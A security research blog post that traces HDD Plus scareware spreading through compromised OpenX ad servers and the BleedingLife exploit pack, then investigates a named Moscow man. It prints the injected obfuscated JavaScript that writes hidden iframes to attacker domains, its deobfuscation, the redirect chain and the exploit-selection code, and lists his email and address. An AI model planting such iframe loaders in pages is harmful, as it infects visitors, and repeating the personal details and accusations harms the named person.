About HDD Plus spreading also through OpenX vulnerabilities, and a guy behind all this

(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)
(Part 1 of the story is here)

In our last post, we described how HDD Plus spread via DoubleClick and MSN's networks. Two reasons caused us to write this follow-up:

A. Many were curious to know who is behind all this, and
B. It's still spreading fast, through exploiting OpenX vulnerabilities.

Before we go into details, here's a summary:
1. HDD Plus (or HDD Tools) is spreading through compromised OpenX banner systems.
2. The BleedingLife v2 exploit pack is used; antivirus detection against the exploit is low (2/42). The following exploits are supported: CVE-2010-2884, CVE-2010-1297, CVE-2010-0188, CVE-2010-0842, CVE-2010-3552, and CVE-2008-2992.
3. Antivirus detection against the actual malware (HDD Plus) is about 50%.
4. Exploitation success rate against one of the many victim sites, takeatime.com, is about 28%, which is very high. The exploits have been reliably written.
5. We believe Mr. Slevin, based in Moscow, is involved in the spread of HDD Plus, and is actively working on newer means to facilitate its spread.

[Spreading via OpenX vulnerabilities]
OpenX has had a number of well known vulnerabilities, and staring end of July we saw a rise in incidents where attackers broke into OpenX installations and injected malicious iframes pointing to drive-by downloads. We all remember the The Pirate Bay-OpenX incident back in September (also see here).

Soon after the incident, OpenX released a patch on Sep 14th, acknowledging that versions prior to 2.8.7 are vulnerable.

Our scanners started to see a rise in OpenX iframe injections starting beginning of August. And then on Sep 28th, we were challenged by our partner Symantec-Verisign to justify some of our results. Our scanners had correct results, and the incidents were precisely the same--unpatched OpenX installations being injected with iframes.

After our last post, we began to realize that HDD Plus began to spread via the same method, changing its name to "HDD Tools." As victims visit websites with infected OpenX installations, the infected OpenX banner page /www/delivery/ajs.php runs a javascript that generates an iframe pointing to an exploit server, a drive-by download process starts, and when successful, HDD Tools is silently installed onto the victim's machines and starts to display fake warning messages and conduct reboots, until the victims have purchased a license for nearly 80 USD.

Let's use http://www.takeatime.com/ as an example. The website's OpenX installation is infected and serving malware as we write this blog. Below is a detailed video we made that illustrates the entire process from initial visit to final infection and malware call home:

Note that in this case the exploit pack is BleedingLife v2, and you can actually access it from the exploit server at http://expa42.co.cc/bl3/statistics/login.php.

No password? That's fine, we can see the statistics here: http://expa42.co.cc/bl3/statistics/update.php

In order to have an idea of the infection stats of this particular exploit server, we have reset the statistics. 8 hours later, here's what we got:

document.getElementById("visitors").innerHTML = 5635;
document.getElementById("exploited").innerHTML = 1583;
document.getElementById("percentage").innerHTML = 28.09;

Which means, expa42.co.cc(which is only one of the many malicious domains) has about 700 visitors per hour, and 200 of them are successfully exploited (per hour ). The exploitation success rate is 28%, which is very high.

Here's a list of exploits supported by Bleeding Life v2:

1. Adobe Flash Player 10.x on Windows, Mac OS X, Linux, and Solaris, Android authplay.dll (CVE-2010-2884)
2. Adobe Flash Player before 8.x 9.x 10.x on Windows and Mac OS X crafted SWF content (CVE-2010-1297)
3. Adobe Reader and Acrobat 8.x 9.x arbitrary code execution (CVE-2010-0188)
4. Oracle Java SE and Java for Business sound component (CVE-2010-0842)
5. Oracle Java SE and Java for Business (CVE-2010-3552)
6. Adobe Acrobat and Reader util.printf (CVE-2008-2992)
(Note no Microsoft exploits in this pack)

Following are details of the exploitation process, using takeatime.com as example.

The victim visits takeatime.com, and in the index page there's this OpenX banner tag:
<div class="banner">
<!--/* OpenX Javascript Tag v2.8.1 */-->
<script type='text/javascript'><!--//<![CDATA[
var m3_u = (location.protocol=='https:'?'https://openx.takeatime.com/www/delivery/ajs.php':'http://openx.takeatime.com/www/delivery/ajs.php');
var m3_r = Math.floor(Math.random()*99999999999);
if (!document.MAX_used) document.MAX_used = ',';
document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
document.write ("?zoneid=1");
document.write ('&cb=' + m3_r);
if (document.MAX_used != ',') document.write ("&exclude=" + document.MAX_used);
document.write (document.charset ? '&charset='+document.charset : (document.characterSet ? '&charset='+document.characterSet : ''));
document.write ("&loc=" + escape(window.location));
if (document.referrer) document.write ("&referer=" + escape(document.referrer));
if (document.context) document.write ("&context=" + escape(document.context));
if (document.mmm_fo) document.write ("&mmm_fo=1");
document.write ("'><\/scr"+"ipt>");
//]]>--></script><noscript><a href='http://openx.takeatime.com/www/delivery/ck.php?n=a06928b3&cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://openx.takeatime.com/www/delivery/avw.php?zoneid=1&cb=INSERT_RANDOM_NUMBER_HERE&n=a06928b3' border='0' alt='' /></a></noscript>
</div>

This is because takeatime.com is using OpenX, and this tag causes the display of an OpenX banner ad on the front page. Note that it will cause the browser to load /www/delivery/ajs.php

ajs.php is a common infection vector against unpatched OpenX installations. The browser fetches takeatime.com's ajs.php, which is:
if(typeof org=="undefined"){var org=new Object();}if(typeof org.openx=="undefined"){org.openx=new Object();}if(typeof org.openx.util=="undefined"){org.openx.util=new Object();}if(typeof org.openx.SWFObjectUtil=="undefined"){org.openx.SWFObjectUtil=new Object();}org.openx.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=org.openx.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new org.openx.PlayerVersion(_5.toString().split(".")));}this.installedVer=org.openx.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){org.openx.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};org.openx.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new org.openx.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};org.openx.SWFObjectUtil.getPlayerVersion=function(){var _23=new org.openx.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new org.openx.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new org.openx.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new org.openx.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new org.openx.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};org.openx.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};org.openx.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};org.openx.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};org.openx.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(org.openx.SWFObject.doPrepUnload){if(!org.openx.unloadSet){org.openx.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",org.openx.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",org.openx.SWFObjectUtil.prepUnload);org.openx.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=org.openx.util.getRequestParameter;var FlashObject=org.openx.SWFObject;var SWFObject=org.openx.SWFObject;document.mmm_fo=1;var OX_8ec3b89b = '';
OX_8ec3b89b += "<"+"script language=\"JavaScript\">var dc=document; var date_ob=new Date(); dc.cookie=\'h1=o; path=/;\';if(dc.cookie.indexOf(\'3=llo\') <"+"= 0 && dc.cookie.indexOf(\'1=o\') > 0){\n";
OX_8ec3b89b += "function clng(wrd){var cou=new Array(\'en-us\',\'en-ca\',\'en-au\',\'en-gb\',\'fr-ca\',\'fr\',\'de\',\'es\',\'it\');for(i=0;i<"+"cou.length;i++){if(wrd==cou[i])return true;}return false;}\n";
OX_8ec3b89b += "if(typeof navigator.language == \'undefined\'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\n";
OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";
OX_8ec3b89b += "date_ob.setTime(date_ob.getTime()+86400000);dc.cookie=\'h3=llo; path=/; expires=\'+date_ob.toGMTString();}<"+"/script>\n";
OX_8ec3b89b += "<"+"div id=\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\' style=\'display: inline;\'><"+"img src=\'http://openx.takeatime.com/www/images/1x1.gif\' alt=\'\' title=\'\' border=\'0\' /><"+"/div>\n";
OX_8ec3b89b += "<"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OX_8ec3b89b += "var ox_swf = new FlashObject(\'http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf\', \'Advertisement\', \'728\', \'90\', \'8\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTARGET\', \'_blank\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTAG\', \'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html\');\n";
OX_8ec3b89b += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";
OX_8ec3b89b += "ox_swf.write(\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\');\n";
OX_8ec3b89b += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"<"+"div id=\'beacon_1e6e188d82\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); }\n";
OX_8ec3b89b += "// ]]> --><"+"/script><"+"script type=\"text/javascript\">var yoZ=[\'79\',\'89\',\'b0\',\'bb\',\'bf\',\'b2\',\'6e\',\'af\',\'7c\',\'bb\',\'c2\',\'7c\',\'b4\',\'bc\',\'bc\',\'b8\',\'6e\',\'7c\',\'90\',\'c0\',\'b2\',\'bb\',\'ad\',\'6e\',\'b1\',\'b5\',\'c5\',\'85\',\'b1\',\'bb\',\'7b\',\'6e\',\'8a\',\'b8\',\'be\',\'7c\',\'b1\',\'7f\',\'80\',\'79\',\'b0\',\'89\',\'ad\',\'c0\',\'be\',\'b1\',\'8a\',\'b0\',\'6c\',\'b4\',\'ad\',\'7d\',\'ae\',\'82\',\'b5\',\'89\',\'af\',\'be\',\'6e\',\'b1\',\'bf\',\'90\',\'88\',\'b9\',\'88\',\'6e\',\'b5\',\'b1\',\'89\',\'7e\',\'ad\',\'7c\',\'92\',\'be\',\'c2\',\'6e\',\'b5\',\'79\',\'c2\',\'c0\',\'be\',\'c0\',\'8a\',\'ad\',\'b5\',\'b0\',\'b9\',\'ad\',\'6e\',\'87\',\'7a\',\'8f\',\'ad\',\'88\',\'be\',\'7a\',\'b1\',\'8a\',\'89\',\'84\',\'90\',\'b8\',\'c2\',\'b8\',\'6c\',\'bf\',\'7c\',\'6e\',\'7d\',\'be\',\'bf\',\'6e\',\'bb\',\'bf\',\'7c\',\'be\',\'6c\',\'86\',\'6c\',\'b4\',\'6c\',\'c2\',\'7d\',\'6e\',\'8a\',\'be\',\'bc\',\'80\',\'ba\',\'bc\',\'af\',\'ba\',\'90\',\'8d\',\'6e\',\'6e\',\'83\',\'ad\',\'8b\',\'bf\',\'b2\',\'6e\',\'c5\',\'89\',\'af\',\'b4\',\'be\',\'89\',\'7b\',\'b9\',\'7f\',\'be\',\'6e\',\'b5\',\'af\',\'90\',\'ba\',\'ad\',\'ba\',\'7b\',\'b5\',\'6c\',\'7a\',\'b3\',\'88\',\'b1\',\'6c\',\'bc\',\'88\',\'b5\',\'6c\',\'ad\',\'89\',\'7b\',\'8a\',\'c0\',\'b4\',\'af\',\'af\',\'bc\',\'7b\',\'7b\',\'c3\',\'88\',\'ad\',\'ba\',\'bc\',\'6c\',\'b5\',\'b4\',\'be\',\'b1\',\'6e\',\'b3\',\'c0\',\'86\',\'89\'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<"+"M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<"+"GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<"+"bG0.length;NOW++){XzH[NOW]=String.fromCharCode(\'3\'+\'7\')+bG0[NOW][1];}function NhW(M3s){return M3s.join(\'\');}function T5_(OrK,yPk){var wC3=\'M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u\';var QiL=new Array();for(var lVh=0;lVh<"+"OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<"+"ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA(\'%37%36\'));<"+"/script>\n";
document.write(OX_8ec3b89b);

One line is obvious:
OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";

It creates an iframe pointing to the well-known malicious domain finofalts.com: http://finofalts.com/ke7rwdtw.php?s=IBB@G, which was inactive during the writing of this post. The whole script deobfuscates to:
<script language="JavaScript">var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') <= 0 && dc.cookie.indexOf('1=o') > 0){
function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i<cou.length;i++){if(wrd==cou[i])return true;}return false;}
if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}
if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("<script type=\"text/javascript\"><!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\" ';");dc.writeln("document.write('<ifr'+'ame'+host+src+sc+brdr+'></ifra'+'me>');");dc.writeln("//--><\/script>");} var run=1;
date_ob.setTime(date_ob.getTime()+86400000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}</script>
<div id='ox_30e97ef3c2c6a8e24bb919f7fe3adba6' style='display: inline;'><img src='http://openx.takeatime.com/www/images/1x1.gif' alt='' title='' border='0' /></div>
<script type='text/javascript'><!--// <![CDATA[
var ox_swf = new FlashObject('http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf', 'Advertisement', '728', '90', '8');
ox_swf.addVariable('clickTARGET', '_blank');
ox_swf.addVariable('clickTAG', 'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html');
ox_swf.addParam('allowScriptAccess','always');
ox_swf.write('ox_30e97ef3c2c6a8e24bb919f7fe3adba6');
if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute('version'))) { document.write("<div id='beacon_1e6e188d82' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div>"); }
// ]]> --></script><script type="text/javascript">var yoZ=['79','89','b0','bb','bf','b2','6e','af','7c','bb','c2','7c','b4','bc','bc','b8','6e','7c','90','c0','b2','bb','ad','6e','b1','b5','c5','85','b1','bb','7b','6e','8a','b8','be','7c','b1','7f','80','79','b0','89','ad','c0','be','b1','8a','b0','6c','b4','ad','7d','ae','82','b5','89','af','be','6e','b1','bf','90','88','b9','88','6e','b5','b1','89','7e','ad','7c','92','be','c2','6e','b5','79','c2','c0','be','c0','8a','ad','b5','b0','b9','ad','6e','87','7a','8f','ad','88','be','7a','b1','8a','89','84','90','b8','c2','b8','6c','bf','7c','6e','7d','be','bf','6e','bb','bf','7c','be','6c','86','6c','b4','6c','c2','7d','6e','8a','be','bc','80','ba','bc','af','ba','90','8d','6e','6e','83','ad','8b','bf','b2','6e','c5','89','af','b4','be','89','7b','b9','7f','be','6e','b5','af','90','ba','ad','ba','7b','b5','6c','7a','b3','88','b1','6c','bc','88','b5','6c','ad','89','7b','8a','c0','b4','af','af','bc','7b','7b','c3','88','ad','ba','bc','6c','b5','b4','be','b1','6e','b3','c0','86','89'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<bG0.length;NOW++){XzH[NOW]=String.fromCharCode('3'+'7')+bG0[NOW][1];}function NhW(M3s){return M3s.join('');}function T5_(OrK,yPk){var wC3='M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u';var QiL=new Array();for(var lVh=0;lVh<OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA('%37%36'));</script>

Note the "document.write(NhW(kkz));" part, which in the end generates another deobfuscation:
<var style="display: none;"><var><iframe src="http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D" width="100" height="100" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe></var></var>

This causes the browser to load from http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D, whose contents are:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 15 Dec 2010 17:45:29 GMT
Server: Apache/2.2.16 (FreeBSD) mod_ssl/2.2.16 OpenSSL/0.9.8k DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Location: http://govtds09.co.cc/tds/in.cgi?default
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

The iframe is redirected to http://govtds09.co.cc/tds/in.cgi?default, which is:
<html><frameset rows="100%"><frame src="http://expa42.co.cc/bl3/"></frameset></html>

And so, expa42.co.cc is the exploit server running BleedingLife v2. Upon loading, BleedingLife analyzes the environment and decides which exploit to use:
if(acrobat.installed){
if(acrobat.version >= 800 && acrobat.version < 821){
("http://expa42.co.cc/bl3/load.php?e=Adobe-80-2010-0188");
}else if(acrobat.version >= 900 && acrobat.version < 940){
if(acrobat.version < 931){
("http://expa42.co.cc/bl3/load.php?e=Adobe-90-2010-0188");
}else if(acrobat.version < 933){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-1297");
}else if(acrobat.version < 940){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2010-2884");
}
}else if(acrobat.version >= 700 && acrobat.version < 711){
("http://expa42.co.cc/bl3/load.php?e=Adobe-2008-2992");
}

if(ojava.installed){
if(ojava.version < 6 || (ojava.version == 6 && ojava.build < 19)){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-0842");
}else if(ojava.version == 6 && ojava.build < 22){
("http://expa42.co.cc/bl3/load.php?e=Java-2010-3552");
}
}

As the time of this writing, the detection rate for these exploits are currently extremely low. For example http://expa42.co.cc/bl3/load.php?e=Java-2010-3552 (CVE-2010-3552) triggers 1/43 on VirusTotal and 0/19 on jotti, and load.php?e=Adobe-2010-2884 (CVE-2010-2884) currently triggers 5/43 on VB and 2/19 on joiit.

Upon successful exploitation, the shellcode will drop binaries from: http://expa42.co.cc/bl3/load.php?e=XX, where XX is the exploit name; for example, http://expa42.co.cc/bl3/drop.php?e=Adobe-90-2010-0188. Currently all binaries are the same--HDD Tool. The detection of this piece of malware, which is what gets dropped in the end, is about half: 15/43 on VB, and 11/19 on jotti.

[A guy behind all this]

HDD Plus has spread via DoubleClick, MSN, and now compromised OpenX platforms. We wanted to know who was behind all this. But there are just too many malicious domains to look into. From our experience, those spreading the malware (submitting the AdShufffle fake ad, compromising OpenX platforms, etc) and those developing the malware and collecting the license fees, may not be the same group. There are just too many compromised hosts (ex: takeatime.com) and exploit domains (ex: finofalts.com, parti13.co.cc, expa42.co.cc, and the gosh majority of co.cc) to look into; however, the billing process won't be that many--it takes more time to develop payment mechanisms--and so, it's where to start looking into.

Both HDD Plus and HDD Tools connected to two domains when the victims tried to pay: defragstore.com (registered on Jun 30th), and onlinepaydebt.com (Sep 27th), which resolves to the same IP 94.76.192.210 (UK PoundHost, dedicated). defragstore.com lists a customer support line: +1-877-282-0139. This is the same support line in the invoice provided, when victims made the purchase. It routes to call centers in India, and they very quickly credit me back my money. This is typical scareware behavior. Payment mechanisms are hard to setup, so they do give back your money, so their payment gateways don't get taken down. The company name on the invoice was "SecurityLabSoftware," and the creditor showing up on my bill was "trd-app.com"

The customer support website allows customers to login, download the software, and file tickets: http://acideds.org/customers (registered Nov 2nd, 2010)

There are multiple domains because some will be taken down / flagged:
http://earlyeds.org/customers
http://dirtyeds.org/customers
http://edsclick.com/customers
http://www.edsclick.com/customers

Okay, so now we have parties that helped develop these website and payment mechanisms, call center agents, and hosting companies. After contacting many people in Europe, UK, India and Russian, and speaking some Russian (Fyodor is Russian), everyone said that all these have been setup and developed by Mr. Dmitry Slevin, based in Moscow, and gave us his email. Using whois, we found his phone number.

We first noticed that Slevin owned malwaremechanic.com from Nov 2009 to Jun 2010; malwaremechanic.com is a known scareware.
(this is hostorical whois data and dates Nov 6th, 2009)
Domain Name: MALWAREMECHANIC.COM
Created on: 10-Oct-07
Expires on: 10-Oct-10
Last Updated on: 05-Nov-09

Administrative Contact:
Esaulova, Alla slevintm@gmail.com
MDA Systems ltd
35 Brompton Road, Knightsbridge
London, London SW3 1DE
United Kingdom
+44.4402078080190 Fax --

We then noticed that on Dec 6th, Slevin registered systemutilites.com, where we can download a trial version of "System Utilities." Not only does it look remarkably identical to HDD Plus and HDD Tools, it triggers 24/45 (as FakeAV) on VB, and 9/19 on jotti.



We sent Slevin an email and subsequently talked to him on phone. Initially he denied knowing about defragstore.com and said it wasn't his domain. He later reverted this claim and said he is related to it, but he is only a domainer who sells domains for some money, and would be willing to provide us with contacts into those behind the HDD Plus / Tools and SystemUtilites software. He did provide us a name and email.

